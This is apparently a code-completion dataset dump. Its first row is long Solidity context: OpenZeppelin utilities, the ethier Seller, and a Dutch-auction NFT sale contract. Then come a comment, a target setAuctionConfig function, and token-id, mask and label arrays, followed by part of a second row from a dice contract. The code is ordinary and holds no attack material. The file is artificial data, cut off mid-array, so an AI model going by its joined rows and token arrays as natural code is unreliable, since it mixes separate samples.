if (cfg.unit == AuctionIntervalUnit.Block) {
current = block.number;
} else if (cfg.unit == AuctionIntervalUnit.Time) {
current = block.timestamp;
}
require(
cfg.startPoint != 0 && current >= cfg.startPoint,
"LinearDutchAuction: Not started"
);
uint256 decreases = Math.min(
(current - cfg.startPoint) / cfg.decreaseInterval,
cfg.numDecreases
);
return n * (cfg.startPrice - decreases * cfg.decreaseSize);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
interface IMMNFT {
function adminMint(uint256 count, address to) external;
function burn(uint256 tokenId) external;
function totalSupply() external view returns (uint256);
function supply() external view returns (uint256);
function tokenByIndex(uint256 index) external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function tokenURI(uint256 tokenId) external view returns (string memory);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
}
// SPDX-License-Identifier: MIT
// Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier)
pragma solidity >=0.8.0 <0.9.0;
import "../utils/Monotonic.sol";
import "../utils/OwnerPausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
@notice An abstract contract providing the _purchase() function to:
- Enforce per-wallet / per-transaction limits
- Calculate required cost, forwarding to a beneficiary, and refunding extra
*/
abstract contract Seller is OwnerPausable, ReentrancyGuard {
using Address for address payable;
using Monotonic for Monotonic.Increaser;
using Strings for uint256;
/**
@dev Note that the address limits are vulnerable to wallet farming.
@param maxPerAddress Unlimited if zero.
@param maxPerTex Unlimited if zero.
@param freeQuota Maximum number that can be purchased free of charge by
the contract owner.
@param reserveFreeQuota Whether to excplitly reserve the freeQuota amount
and not let it be eroded by regular purchases.
@param lockFreeQuota If true, calls to setSellerConfig() will ignore changes
to freeQuota. Can be locked after initial setting, but not unlocked. This
allows a contract owner to commit to a maximum number of reserved items.
@param lockTotalInventory Similar to lockFreeQuota but applied to
totalInventory.
*/
struct SellerConfig {
uint256 totalInventory;
uint256 maxPerAddress;
uint256 maxPerTx;
uint248 freeQuota;
bool reserveFreeQuota;
bool lockFreeQuota;
bool lockTotalInventory;
}
constructor(SellerConfig memory config, address payable _beneficiary) {
setSellerConfig(config);
setBeneficiary(_beneficiary);
}
/// @notice Configuration of purchase limits.
SellerConfig public sellerConfig;
/// @notice Sets the seller config.
function setSellerConfig(SellerConfig memory config) public onlyOwner {
require(
config.totalInventory >= config.freeQuota,
"Seller: excessive free quota"
);
require(
config.totalInventory >= _totalSold.current(),
"Seller: inventory < already sold"
);
require(
config.freeQuota >= purchasedFreeOfCharge.current(),
"Seller: free quota < already used"
);
// Overriding the in-memory fields before copying the whole struct, as
// against writing individual fields, gives a greater guarantee of
// correctness as the code is simpler to read.
if (sellerConfig.lockTotalInventory) {
config.lockTotalInventory = true;
config.totalInventory = sellerConfig.totalInventory;
}
if (sellerConfig.lockFreeQuota) {
config.lockFreeQuota = true;
config.freeQuota = sellerConfig.freeQuota;
}
sellerConfig = config;
}
/// @notice Recipient of revenues.
address payable public beneficiary;
/// @notice Sets the recipient of revenues.
function setBeneficiary(address payable _beneficiary) public onlyOwner {
beneficiary = _beneficiary;
}
/**
@dev Must return the current cost of a batch of items. This may be constant
or, for example, decreasing for a Dutch auction or increasing for a bonding
curve.
@param n The number of items being purchased.
*/
function cost(uint256 n) public view virtual returns (uint256);
/**
@dev Called by both _purchase() and purchaseFreeOfCharge() after all limits
have been put in place; must perform all contract-specific sale logic, e.g.
ERC721 minting. When _handlePurchase() is called, the value returned by
Seller.totalSold() will be the pre-purchase amount.
@param to The recipient of the item(s).
@param n The number of items allowed to be purchased, which MAY be less than
to the number passed to _purchase() but SHALL be greater than zero.
@param freeOfCharge Indicates that the call originated from
purchaseFreeOfCharge() and not _purchase().
*/
function _handlePurchase(
address to,
uint256 n,
bool freeOfCharge
) internal virtual;
/**
@notice Tracks total number of items sold by this contract, including those
purchased free of charge by the contract owner.
*/
Monotonic.Increaser private _totalSold;
/// @notice Returns the total number of items sold by this contract.
function totalSold() public view returns (uint256) {
return _totalSold.current();
}
/**
@notice Tracks the number of items already bought by an address, regardless
of transferring out (in the case of ERC721).
@dev This isn't public as it may be skewed due to differences in msg.sender
and tx.origin, which it treats in the same way such that
sum(_bought)>=totalSold().
*/
mapping(address => uint256) private _bought;
/**
@notice Returns min(n, max(extra items addr can purchase)) and reverts if 0.
@param zeroMsg The message with which to revert on 0 extra.
*/
function _capExtra(
uint256 n,
address addr,
string memory zeroMsg
) internal view returns (uint256) {
uint256 extra = sellerConfig.maxPerAddress - _bought[addr];
if (extra == 0) {
revert(string(abi.encodePacked("Seller: ", zeroMsg)));
}
return Math.min(n, extra);
}
/// @notice Emitted when a buyer is refunded.
event Refund(address indexed buyer, uint256 amount);
/// @notice Emitted on all purchases of non-zero amount.
event Revenue(
address indexed beneficiary,
uint256 numPurchased,
uint256 amount
);
/// @notice Tracks number of items purchased free of charge.
Monotonic.Increaser private purchasedFreeOfCharge;
/**
@notice Allows the contract owner to purchase without payment, within the
quota enforced by the SellerConfig.
*/
function purchaseFreeOfCharge(address to, uint256 n)
public
onlyOwner
whenNotPaused
{
uint256 freeQuota = sellerConfig.freeQuota;
n = Math.min(n, freeQuota - purchasedFreeOfCharge.current());
require(n > 0, "Seller: Free quota exceeded");
uint256 totalInventory = sellerConfig.totalInventory;
n = Math.min(n, totalInventory - _totalSold.current());
require(n > 0, "Seller: Sold out");
_handlePurchase(to, n, true);
_totalSold.add(n);
purchasedFreeOfCharge.add(n);
assert(_totalSold.current() <= totalInventory);
assert(purchasedFreeOfCharge.current() <= freeQuota);
}
/**
@notice Enforces all purchase limits (counts and costs) before calling
_handlePurchase(), after which the received funds are disbursed to the
beneficiary, less any required refunds.
@param to The final recipient of the item(s).
@param requested The number of items requested for purchase, which MAY be
reduced when passed to _handlePurchase().
*/
function _purchase(address to, uint256 requested)
internal
nonReentrant
whenNotPaused
{
/**
* ##### CHECKS
*/
SellerConfig memory config = sellerConfig;
uint256 n = config.maxPerTx == 0
? requested
: Math.min(requested, config.maxPerTx);
uint256 maxAvailable;
uint256 sold;
if (config.reserveFreeQuota) {
maxAvailable = config.totalInventory - config.freeQuota;
sold = _totalSold.current() - purchasedFreeOfCharge.current();
} else {
maxAvailable = config.totalInventory;
sold = _totalSold.current();
}
n = Math.min(n, maxAvailable - sold);
require(n > 0, "Seller: Sold out");
if (config.maxPerAddress > 0) {
bool alsoLimitSender = _msgSender() != to;
bool alsoLimitOrigin = tx.origin != _msgSender() && tx.origin != to;
n = _capExtra(n, to, "Buyer limit");
if (alsoLimitSender) {
n = _capExtra(n, _msgSender(), "Sender limit");
}
if (alsoLimitOrigin) {
n = _capExtra(n, tx.origin, "Origin limit");
}
_bought[to] += n;
if (alsoLimitSender) {
_bought[_msgSender()] += n;
}
if (alsoLimitOrigin) {
_bought[tx.origin] += n;
}
}
uint256 _cost = cost(n);
if (msg.value < _cost) {
revert(
string(
abi.encodePacked(
"Seller: Costs ",
(_cost / 1e9).toString(),
" GWei"
)
)
);
}
/**
* ##### EFFECTS
*/
_handlePurchase(to, n, false);
_totalSold.add(n);
assert(_totalSold.current() <= config.totalInventory);
/**
* ##### INTERACTIONS
*/
// Ideally we'd be using a PullPayment here, but the user experience is
// poor when there's a variable cost or the number of items purchased
// has been capped. We've addressed reentrancy with both a nonReentrant
// modifier and the checks, effects, interactions pattern.
if (_cost > 0) {
beneficiary.sendValue(_cost);
emit Revenue(beneficiary, n, _cost);
}
if (msg.value > _cost) {
address payable reimburse = payable(_msgSender());
uint256 refund = msg.value - _cost;
// Using Address.sendValue() here would mask the revertMsg upon
// reentrancy, but we want to expose it to allow for more precise
// testing. This otherwise uses the exact same pattern as
// Address.sendValue().
(bool success, bytes memory returnData) = reimburse.call{
value: refund
}("");
// Although `returnData` will have a spurious prefix, all we really
// care about is that it contains the ReentrancyGuard reversion
// message so we can check in the tests.
require(success, string(returnData));
emit Refund(reimburse, refund);
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: MIT
// Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier)
pragma solidity >=0.8.0 <0.9.0;
/**
@notice Provides monotonic increasing and decreasing values, similar to
OpenZeppelin's Counter but (a) limited in direction, and (b) allowing for steps
> 1.
*/
library Monotonic {
/**
@notice Holds a value that can only increase.
@dev The internal value MUST NOT be accessed directly. Instead use current()
and add().
*/
struct Increaser {
uint256 value;
}
/// @notice Returns the current value of the Increaser.
function current(Increaser storage incr) internal view returns (uint256) {
return incr.value;
}
/// @notice Adds x to the Increaser's value.
function add(Increaser storage incr, uint256 x) internal {
incr.value += x;
}
/**
@notice Holds a value that can only decrease.
@dev The internal value MUST NOT be accessed directly. Instead use current()
and subtract().
*/
struct Decreaser {
uint256 value;
}
/// @notice Returns the current value of the Decreaser.
function current(Decreaser storage decr) internal view returns (uint256) {
return decr.value;
}
/// @notice Subtracts x from the Decreaser's value.
function subtract(Decreaser storage decr, uint256 x) internal {
decr.value -= x;
}
}
// SPDX-License-Identifier: MIT
// Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier)
pragma solidity >=0.8.0 <0.9.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
/// @notice A Pausable contract that can only be toggled by the Owner.
contract OwnerPausable is Ownable, Pausable {
/// @notice Pauses the contract.
function pause() public onlyOwner {
Pausable._pause();
}
/// @notice Unpauses the contract.
function unpause() public onlyOwner {
Pausable._unpause();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
} | / Underflow might occur is size/num decreases is too large. | function setAuctionConfig(
DutchAuctionConfig memory config,
uint256 expectedReserve
) public onlyOwner {
unchecked {
require(
config.startPrice - config.decreaseSize * config.numDecreases ==
expectedReserve,
"LinearDutchAuction: incorrect reserve"
);
}
require(
config.unit != AuctionIntervalUnit.UNSPECIFIED,
"LinearDutchAuction: unspecified unit"
);
require(
config.decreaseInterval > 0,
"LinearDutchAuction: zero decrease interval"
);
dutchAuctionConfig = config;
}
auction.
| 18,244 | [
1,
19,
21140,
2426,
4825,
3334,
353,
963,
19,
2107,
23850,
3304,
353,
4885,
7876,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
444,
37,
4062,
809,
12,
203,
3639,
463,
322,
343,
37,
4062,
809,
3778,
642,
16,
203,
3639,
2254,
5034,
2665,
607,
6527,
203,
565,
262,
1071,
1338,
5541,
288,
203,
3639,
22893,
288,
203,
5411,
2583,
12,
203,
7734,
642,
18,
1937,
5147,
300,
642,
18,
323,
11908,
1225,
380,
642,
18,
2107,
23326,
3304,
422,
203,
10792,
2665,
607,
6527,
16,
203,
7734,
315,
15982,
40,
322,
343,
37,
4062,
30,
11332,
20501,
6,
203,
5411,
11272,
203,
3639,
289,
203,
3639,
2583,
12,
203,
5411,
642,
18,
4873,
480,
432,
4062,
4006,
2802,
18,
2124,
13847,
13519,
16,
203,
5411,
315,
15982,
40,
322,
343,
37,
4062,
30,
25952,
2836,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
642,
18,
323,
11908,
4006,
405,
374,
16,
203,
5411,
315,
15982,
40,
322,
343,
37,
4062,
30,
3634,
20467,
3673,
6,
203,
3639,
11272,
203,
3639,
302,
322,
343,
37,
4062,
809,
273,
642,
31,
203,
565,
289,
203,
203,
565,
279,
4062,
18,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/7700/0x2Bf57af42Cc1daB534DAe42169DdeD97f139A316/sources/dice_flat.sol | Log game result (heads 0 or tails 1) in order to display it on frontend | event GameResult(uint8 side);
| 3,506,113 | [
1,
1343,
7920,
563,
261,
20263,
374,
578,
5798,
87,
404,
13,
316,
1353,
358,
2562,
518,
603,
15442,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
871,
14121,
1253,
12,
11890,
28,
4889,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
